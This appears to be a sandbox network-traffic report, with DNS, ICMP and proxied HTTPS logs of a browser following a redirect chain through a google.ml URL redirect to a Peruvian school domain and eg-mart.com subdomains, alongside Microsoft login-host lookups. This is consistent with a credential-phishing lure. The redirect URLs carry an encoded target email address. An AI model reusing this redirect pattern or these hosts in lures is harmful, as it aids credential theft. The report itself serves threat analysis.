Nov 14, 2024 16:39:15.088140011 CET	53	62646	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:16.193959951 CET	49267	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:16.194202900 CET	53327	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:16.245500088 CET	53	53327	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:16.261168957 CET	53	49267	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:18.041898012 CET	54225	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:18.042540073 CET	53983	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:18.070739985 CET	53	54225	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:18.553561926 CET	58407	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:18.553610086 CET	63213	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:18.560935020 CET	53	58407	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:18.560950994 CET	53	63213	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:18.574517965 CET	53	53983	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:19.631234884 CET	53	51080	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:21.490626097 CET	53	61474	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:28.928901911 CET	64683	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:28.928901911 CET	59013	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:28.979268074 CET	53	59013	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:29.099817038 CET	53	64683	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:30.372420073 CET	59508	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:30.372420073 CET	54364	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:30.400207996 CET	53	59508	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:30.542330980 CET	53	54364	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:32.116097927 CET	53	63086	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:34.297518969 CET	52380	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:34.297796965 CET	64474	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:34.304303885 CET	53	52380	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:34.304994106 CET	53	64474	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:36.664185047 CET	56025	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:36.664424896 CET	55480	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:36.671403885 CET	53	56025	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:36.671518087 CET	53	55480	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:38.655913115 CET	51441	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:38.656070948 CET	49879	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:39.296875954 CET	56941	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:39.296925068 CET	57390	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:39.326188087 CET	53	56941	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:39.472973108 CET	53	57390	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:49.663279057 CET	53	49845	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:50.916723967 CET	53	51619	162.159.36.2	192.168.2.17
Nov 14, 2024 16:39:50.917972088 CET	53	51574	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:51.546480894 CET	53	59920	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:52.087985992 CET	50673	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:52.088177919 CET	52478	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:52.118065119 CET	53	50673	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:52.137829065 CET	53	52478	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:52.353440046 CET	52817	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:52.353601933 CET	54274	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:52.360369921 CET	53	52817	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:52.360723019 CET	53	54274	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:55.981806040 CET	56494	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:55.981935024 CET	58788	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:55.988384962 CET	53	61242	1.1.1.1	192.168.2.17
Nov 14, 2024 16:39:57.743513107 CET	54104	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:39:57.743872881 CET	53223	53	192.168.2.17	1.1.1.1
Nov 14, 2024 16:40:13.737829924 CET	53	60334	1.1.1.1	192.168.2.17

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 14, 2024 16:39:14.636249065 CET	192.168.2.17	1.1.1.1	c22c	(Port unreachable)	Destination Unreachable
Nov 14, 2024 16:39:18.574635983 CET	192.168.2.17	1.1.1.1	c24f	(Port unreachable)	Destination Unreachable
Nov 14, 2024 16:39:30.547399998 CET	192.168.2.17	1.1.1.1	c249	(Port unreachable)	Destination Unreachable
Nov 14, 2024 16:39:39.473157883 CET	192.168.2.17	1.1.1.1	c249	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 14, 2024 16:39:14.588550091 CET	192.168.2.17	1.1.1.1	0x81cc	Standard query (0)	www.google.ml	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:14.589139938 CET	192.168.2.17	1.1.1.1	0x2a30	Standard query (0)	www.google.ml	65	IN (0x0001)	false
Nov 14, 2024 16:39:16.193959951 CET	192.168.2.17	1.1.1.1	0xb838	Standard query (0)	iestpcanipaco.edu.pe	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:16.194202900 CET	192.168.2.17	1.1.1.1	0xfa94	Standard query (0)	iestpcanipaco.edu.pe	65	IN (0x0001)	false
Nov 14, 2024 16:39:18.041898012 CET	192.168.2.17	1.1.1.1	0x373	Standard query (0)	stoneinstallations.net.au	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:18.042540073 CET	192.168.2.17	1.1.1.1	0x4517	Standard query (0)	stoneinstallations.net.au	65	IN (0x0001)	false
Nov 14, 2024 16:39:18.553561926 CET	192.168.2.17	1.1.1.1	0xf0a7	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:18.553610086 CET	192.168.2.17	1.1.1.1	0x513c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 14, 2024 16:39:28.928901911 CET	192.168.2.17	1.1.1.1	0x5eab	Standard query (0)	butter.mnrov.eg-mart.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:28.928901911 CET	192.168.2.17	1.1.1.1	0xb4ce	Standard query (0)	butter.mnrov.eg-mart.com	65	IN (0x0001)	false
Nov 14, 2024 16:39:30.372420073 CET	192.168.2.17	1.1.1.1	0x92ff	Standard query (0)	butter1.mnrov.eg-mart.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:30.372420073 CET	192.168.2.17	1.1.1.1	0x6cf	Standard query (0)	butter1.mnrov.eg-mart.com	65	IN (0x0001)	false
Nov 14, 2024 16:39:34.297518969 CET	192.168.2.17	1.1.1.1	0x993b	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:34.297796965 CET	192.168.2.17	1.1.1.1	0x9ec3	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Nov 14, 2024 16:39:36.664185047 CET	192.168.2.17	1.1.1.1	0x3f31	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:36.664424896 CET	192.168.2.17	1.1.1.1	0xbc84	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Nov 14, 2024 16:39:38.655913115 CET	192.168.2.17	1.1.1.1	0x6956	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:38.656070948 CET	192.168.2.17	1.1.1.1	0xab44	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false
Nov 14, 2024 16:39:39.296875954 CET	192.168.2.17	1.1.1.1	0xc3d	Standard query (0)	butter2.mnrov.eg-mart.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:39.296925068 CET	192.168.2.17	1.1.1.1	0xc9ef	Standard query (0)	butter2.mnrov.eg-mart.com	65	IN (0x0001)	false
Nov 14, 2024 16:39:52.087985992 CET	192.168.2.17	1.1.1.1	0x4def	Standard query (0)	butter.mnrov.eg-mart.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:52.088177919 CET	192.168.2.17	1.1.1.1	0xf351	Standard query (0)	butter.mnrov.eg-mart.com	65	IN (0x0001)	false
Nov 14, 2024 16:39:52.353440046 CET	192.168.2.17	1.1.1.1	0xe493	Standard query (0)	autologon.microsoftazuread-sso.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:52.353601933 CET	192.168.2.17	1.1.1.1	0x30ea	Standard query (0)	autologon.microsoftazuread-sso.com	65	IN (0x0001)	false
Nov 14, 2024 16:39:55.981806040 CET	192.168.2.17	1.1.1.1	0x9353	Standard query (0)	aadcdn.msftauthimages.net	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:55.981935024 CET	192.168.2.17	1.1.1.1	0x3ab1	Standard query (0)	aadcdn.msftauthimages.net	65	IN (0x0001)	false
Nov 14, 2024 16:39:57.743513107 CET	192.168.2.17	1.1.1.1	0x9680	Standard query (0)	aadcdn.msftauthimages.net	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:57.743872881 CET	192.168.2.17	1.1.1.1	0x9aba	Standard query (0)	aadcdn.msftauthimages.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 14, 2024 16:39:14.597492933 CET	1.1.1.1	192.168.2.17	0x81cc	No error (0)	www.google.ml		142.250.186.67	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:16.261168957 CET	1.1.1.1	192.168.2.17	0xb838	No error (0)	iestpcanipaco.edu.pe		95.217.117.210	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:18.070739985 CET	1.1.1.1	192.168.2.17	0x373	No error (0)	stoneinstallations.net.au		163.47.73.97	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:18.560935020 CET	1.1.1.1	192.168.2.17	0xf0a7	No error (0)	www.google.com		142.250.185.100	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:18.560950994 CET	1.1.1.1	192.168.2.17	0x513c	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 14, 2024 16:39:29.099817038 CET	1.1.1.1	192.168.2.17	0x5eab	No error (0)	butter.mnrov.eg-mart.com		78.138.9.37	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:30.400207996 CET	1.1.1.1	192.168.2.17	0x92ff	No error (0)	butter1.mnrov.eg-mart.com		78.138.9.37	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:34.304303885 CET	1.1.1.1	192.168.2.17	0x993b	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 16:39:34.304303885 CET	1.1.1.1	192.168.2.17	0x993b	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 16:39:34.304303885 CET	1.1.1.1	192.168.2.17	0x993b	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:34.304994106 CET	1.1.1.1	192.168.2.17	0x9ec3	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 16:39:34.304994106 CET	1.1.1.1	192.168.2.17	0x9ec3	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 16:39:36.671403885 CET	1.1.1.1	192.168.2.17	0x3f31	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 16:39:36.671403885 CET	1.1.1.1	192.168.2.17	0x3f31	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 16:39:36.671403885 CET	1.1.1.1	192.168.2.17	0x3f31	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:36.671518087 CET	1.1.1.1	192.168.2.17	0xbc84	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 16:39:36.671518087 CET	1.1.1.1	192.168.2.17	0xbc84	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 16:39:38.663528919 CET	1.1.1.1	192.168.2.17	0x6956	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 16:39:38.663817883 CET	1.1.1.1	192.168.2.17	0xab44	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 16:39:38.766849041 CET	1.1.1.1	192.168.2.17	0x71d9	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 16:39:38.766849041 CET	1.1.1.1	192.168.2.17	0x71d9	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:39.326188087 CET	1.1.1.1	192.168.2.17	0xc3d	No error (0)	butter2.mnrov.eg-mart.com		78.138.9.37	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:52.118065119 CET	1.1.1.1	192.168.2.17	0x4def	No error (0)	butter.mnrov.eg-mart.com		78.138.9.37	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:52.360369921 CET	1.1.1.1	192.168.2.17	0xe493	No error (0)	autologon.microsoftazuread-sso.com		20.190.159.68	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:52.360369921 CET	1.1.1.1	192.168.2.17	0xe493	No error (0)	autologon.microsoftazuread-sso.com		20.190.159.71	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:52.360369921 CET	1.1.1.1	192.168.2.17	0xe493	No error (0)	autologon.microsoftazuread-sso.com		40.126.31.71	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:52.360369921 CET	1.1.1.1	192.168.2.17	0xe493	No error (0)	autologon.microsoftazuread-sso.com		20.190.159.64	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:52.360369921 CET	1.1.1.1	192.168.2.17	0xe493	No error (0)	autologon.microsoftazuread-sso.com		20.190.159.23	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:52.360369921 CET	1.1.1.1	192.168.2.17	0xe493	No error (0)	autologon.microsoftazuread-sso.com		40.126.31.69	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:52.360369921 CET	1.1.1.1	192.168.2.17	0xe493	No error (0)	autologon.microsoftazuread-sso.com		40.126.31.67	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:52.360369921 CET	1.1.1.1	192.168.2.17	0xe493	No error (0)	autologon.microsoftazuread-sso.com		20.190.159.2	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:55.989461899 CET	1.1.1.1	192.168.2.17	0x3ab1	No error (0)	aadcdn.msftauthimages.net	aadcdn-msft.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 16:39:55.989685059 CET	1.1.1.1	192.168.2.17	0x9353	No error (0)	aadcdn.msftauthimages.net	aadcdn-msft.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 16:39:55.989685059 CET	1.1.1.1	192.168.2.17	0x9353	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 16:39:55.989685059 CET	1.1.1.1	192.168.2.17	0x9353	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:57.751398087 CET	1.1.1.1	192.168.2.17	0x9680	No error (0)	aadcdn.msftauthimages.net	aadcdn-msft.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 16:39:57.751398087 CET	1.1.1.1	192.168.2.17	0x9680	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 16:39:57.751398087 CET	1.1.1.1	192.168.2.17	0x9680	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 14, 2024 16:39:57.753237963 CET	1.1.1.1	192.168.2.17	0x9aba	No error (0)	aadcdn.msftauthimages.net	aadcdn-msft.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.ml

iestpcanipaco.edu.pe

https:

stoneinstallations.net.au

butter.mnrov.eg-mart.com

butter1.mnrov.eg-mart.com

aadcdn.msftauth.net

butter2.mnrov.eg-mart.com

autologon.microsoftazuread-sso.com

aadcdn.msftauthimages.net

www.bing.com

evoke-windowsservices-tas.msedge.net

slscr.update.microsoft.com

fs.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.17	49703	142.250.186.67	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:15 UTC	992	OUT	GET /url?fvg=1YI3fC8whlGPBCiMyiuQ&bhtBf=8EQhXbuMThqowIo0zyCX&sa=t&ndg=afydNw3nDHf9A6uq2MCH&url=amp%2Fiestpcanipaco.edu.pe%2F.r%2Fu1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t HTTP/1.1 Host: www.google.ml Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCNy9zQEIkcrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:15 UTC	1055	IN	HTTP/1.1 302 Found Location: https://www.google.ml/amp/iestpcanipaco.edu.pe/.r/u1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-zAHJEYd73L7_vC0HDP7fSA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Permissions-Policy: unload=() P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Thu, 14 Nov 2024 15:39:15 GMT Server: gws Content-Length: 294 X-XSS-Protection: 0 Set-Cookie: NID=519=N8ELk7ZVmQYmVp1urYrfBKrYnXbCP4hJnRyfKq5RJ3skcmkoTSKTo1X_2JdjcK8Rh8AsTPwkdGjNdiGd1s_wIQXWouW_-pdZbQoP0AZDteluNKc5NN_UAKKr1Li4s2YDPf3Q6A-uPspgRM1f_vuE5GT0Uo_j6w6epWgo-D-gex_mPA4UmTKNrl8QSTWDV3Dq6MmO; expires=Fri, 16-May-2025 15:39:15 GMT; path=/; domain=.google.ml; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 15:39:15 UTC	294	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 6d 6c 2f 61 6d 70 2f 69 65 73 74 70 63 61 6e 69 70 61 63 6f 2e 65 64 75 2e 70 65 2f 2e 72 2f 75 31 6b 4f 67 45 2d 53 55 52 45 4c 49 4c 59 59 57 52 68 63 6e 4e 6f 4c 6d 31 68 62 47 68 76 64 48 4a 68 51 47 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.ml/amp/iestpcanipaco.edu.pe/.r/u1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.17	49704	142.250.186.67	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:15 UTC	1110	OUT	GET /amp/iestpcanipaco.edu.pe/.r/u1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t HTTP/1.1 Host: www.google.ml Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlaHLAQiFoM0BCNy9zQEIkcrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=N8ELk7ZVmQYmVp1urYrfBKrYnXbCP4hJnRyfKq5RJ3skcmkoTSKTo1X_2JdjcK8Rh8AsTPwkdGjNdiGd1s_wIQXWouW_-pdZbQoP0AZDteluNKc5NN_UAKKr1Li4s2YDPf3Q6A-uPspgRM1f_vuE5GT0Uo_j6w6epWgo-D-gex_mPA4UmTKNrl8QSTWDV3Dq6MmO
2024-11-14 15:39:16 UTC	847	IN	HTTP/1.1 302 Found Location: http://iestpcanipaco.edu.pe/.r/u1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t Cache-Control: private X-Robots-Tag: noindex Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-yclvpX3aD_icvKMoRWNIAQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Permissions-Policy: unload=() Date: Thu, 14 Nov 2024 15:39:16 GMT Server: gws Content-Length: 275 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 15:39:16 UTC	275	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 69 65 73 74 70 63 61 6e 69 70 61 63 6f 2e 65 64 75 2e 70 65 2f 2e 72 2f 75 31 6b 4f 67 45 2d 53 55 52 45 4c 49 4c 59 59 57 52 68 63 6e 4e 6f 4c 6d 31 68 62 47 68 76 64 48 4a 68 51 47 70 68 64 47 38 75 59 32 39 74 22 3e 68 65 72 65 3c 2f 41 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="http://iestpcanipaco.edu.pe/.r/u1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t">here</A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.17	49706	95.217.117.210	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:17 UTC	713	OUT	GET /.r/u1kOgE-SURELILYYWRhcnNoLm1hbGhvdHJhQGphdG8uY29t HTTP/1.1 Host: iestpcanipaco.edu.pe Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:17 UTC	340	IN	HTTP/1.1 200 OK Connection: close content-type: text/html; charset=UTF-8 transfer-encoding: chunked date: Thu, 14 Nov 2024 15:39:17 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
